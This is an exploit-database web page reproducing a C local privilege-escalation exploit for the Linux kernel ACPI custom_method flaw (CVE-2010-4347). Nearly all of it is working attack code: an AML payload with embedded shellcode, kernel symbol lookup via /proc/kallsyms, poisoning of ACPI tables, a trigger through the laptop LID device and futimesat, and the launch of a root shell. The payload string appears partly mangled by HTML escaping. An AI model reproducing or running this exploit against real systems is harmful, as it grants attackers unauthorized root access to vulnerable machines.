Home / os / win7

[local exploits] - Linux Kernel < 2.6.37-rc2 ACPI custom_

Posted on 18 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation by Jon Oberheide in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================================= Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation ================================================================= /* * american-sign-language.c * * Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation * Jon Oberheide &lt;jon@oberheide.org&gt; * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347 * * This custom_method file allows to inject custom ACPI methods into the ACPI * interpreter tables. This control file was introduced with world writeable * permissions in Linux Kernel 2.6.33. * * Usage: * * $ gcc american-sign-language.c -o american-sign-language * $ ./american-sign-language * [+] resolving required symbols... * [+] checking for world-writable custom_method... * [+] checking for an ACPI LID device... * [+] poisoning ACPI tables via custom_method... * [+] triggering ACPI payload via LID device... * [+] triggering exploit via futimesat... * [+] launching root shell! * # id * uid=0(root) gid=0(root) groups=0(root) * * Notes: * * This vuln allows us to write custom ACPI methods and load them into the * kernel as an unprivileged user. We compile some fancy ASL down to AML * that overrides the ACPI method used when the status of the LID device is * queried (eg. &#039;open&#039; or &#039;closed&#039; lid on a laptop). When the method is * triggered, it overlays an OperationRegion on the physical address where * sys_futimesat is located and overwrites the memory via the Store to * escalate privileges whenever sys_futimesat is called. * * The payload is 64-bit only and depends on the existence of a LID device * (eg. laptop), but the exploit will still tell you if you&#039;re vulnerable * regardless. If you don&#039;t know how to work around these limitations, you * probably shouldn&#039;t be running this in the first place. :-P * * Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdint.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;errno.h&gt; #include &lt;fcntl.h&gt; #include &lt;limits.h&gt; #include &lt;inttypes.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;sys/utsname.h&gt; /* * The ASL payload looks like: * * DefinitionBlock (&quot;lid.aml&quot;, &quot;SSDT&quot;, 2, &quot;&quot;, &quot;&quot;, 0x00001001) { * Method (\_SB.LID._LID, 0, NotSerialized) { * OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) * Field(KMEM, AnyAcc, NoLock, Preserve) { * HACK, 0x392 * } * Store (Buffer () { * 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, * 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, * 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, * 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, * 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, * 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, * 0xc3 }, HACK) * Return (One) * } * } * * Feel free to `iasl -d` this is you don&#039;t trust me! ;-) */ #define PAYLOAD_AML &quot;x53x53x44x54x90x00x00x00x02x3ex00x00x00x00x00x00&quot; &quot;x00x00x00x00x00x00x00x00x01x10x00x00x49x4ex54x4c&quot; &quot;x21x05x09x20x14x4bx06x5cx2fx03x5fx53x42x5fx4cx49&quot; &quot;x44x5fx5fx4cx49x44x00x5bx80x4bx4dx45x4dx00x0cxe0&quot; &quot;x61x17x01x0bx92x03x5bx81x0cx4bx4dx45x4dx00x48x41&quot; &quot;x43x4bx42x39x70x11x34x0ax31x55x48x89xe5x53x48x83&quot; &quot;xecx08x48xc7xc3x24x24x24x24x48xc7xc0x24x24x24x24&quot; &quot;xbfx00x00x00x00xffxd0x48x89xc7xffxd3x48xc7xc0xb7&quot; &quot;xffxffxffx48x83xc4x08x5bxc9xc3x48x41x43x4bxa4x01&quot; #define PAYLOAD_LEN 144 #define CUSTOM_METHOD &quot;/sys/kernel/debug/acpi/custom_method&quot; #define HEY_ITS_A_LID &quot;/proc/acpi/button/lid/LID/state&quot; unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;); if (f == NULL) { f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, &quot;%p %c %s &quot;, (void **)&amp;addr, &amp;dummy, sname); else { ret = fscanf(f, &quot;%p %s &quot;, (void **)&amp;addr, sname); if (ret == 2) { char *p; if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;)) continue; p = strrchr(sname, &#039;_&#039;); if (p &gt; ((char *)sname + 5) &amp;&amp; !strncmp(p - 3, &quot;smp&quot;, 3)) { p = p - 4; while (p &gt; (char *)sname &amp;&amp; *(p - 1) == &#039;_&#039;) p--; *p = &#039;&#039;; } } } if (ret == 0) { fscanf(f, &quot;%s &quot;, sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&amp;ver); if (strncmp(ver.release, &quot;2.6&quot;, 3)) oldstyle = 1; sprintf(sname, &quot;/boot/System.map-%s&quot;, ver.release); f = fopen(sname, &quot;r&quot;); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf(&quot;[+] resolving required symbols... &quot;); sys_futimesat = get_symbol(&quot;sys_futimesat&quot;); if (!sys_futimesat) { printf(&quot;[-] sys_futimesat symbol not found, aborting! &quot;); exit(1); } prepare_kernel_cred = get_symbol(&quot;prepare_kernel_cred&quot;); if (!prepare_kernel_cred) { printf(&quot;[-] prepare_kernel_cred symbol not found, aborting! &quot;); exit(1); } commit_creds = get_symbol(&quot;commit_creds&quot;); if (!commit_creds) { printf(&quot;[-] commit_creds symbol not found, aborting! &quot;); exit(1); } printf(&quot;[+] checking for world-writable custom_method... &quot;); ret = stat(CUSTOM_METHOD, &amp;sb); if (ret &lt; 0) { printf(&quot;[-] custom_method not found, kernel is not vulnerable! &quot;); exit(1); } if (!(sb.st_mode &amp; S_IWOTH)) { printf(&quot;[-] custom_method not world-writable, kernel is not vulnerable! &quot;); exit(1); } printf(&quot;[+] checking for an ACPI LID device... &quot;); ret = stat(HEY_ITS_A_LID, &amp;sb); if (ret &lt; 0) { printf(&quot;[-] ACPI LID device not found, but kernel is still vulnerable! &quot;); exit(1); } if (sizeof(sys_futimesat) != 8) { printf(&quot;[-] payload is 64-bit only, but kernel is still vulnerable! &quot;); exit(1); } sys_futimesat &amp;= ~0xffffffff80000000; memcpy(&amp;payload[63], &amp;sys_futimesat, 4); memcpy(&amp;payload[101], &amp;commit_creds, 4); memcpy(&amp;payload[108], &amp;prepare_kernel_cred, 4); printf(&quot;[+] poisoning ACPI tables via custom_method... &quot;); fp = fopen(CUSTOM_METHOD, &quot;w&quot;); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf(&quot;[+] triggering ACPI payload via LID device... &quot;); fp = fopen(HEY_ITS_A_LID, &quot;r&quot;); fread(&amp;buf, 1, sizeof(buf), fp); fclose(fp); printf(&quot;[+] triggering exploit via futimesat... &quot;); ret = futimesat(0, &quot;/tmp&quot;, NULL); if (ret != -1 || errno != EDOTDOT) { printf(&quot;[-] unexpected futimesat errno, exploit failed! &quot;); exit(1); } if (getuid() != 0) { printf(&quot;[-] privileges not escalated, exploit failed! &quot;); exit(1); } printf(&quot;[+] launching root shell! &quot;); execl(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL); } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-18]</pre></body></html>

 

TOP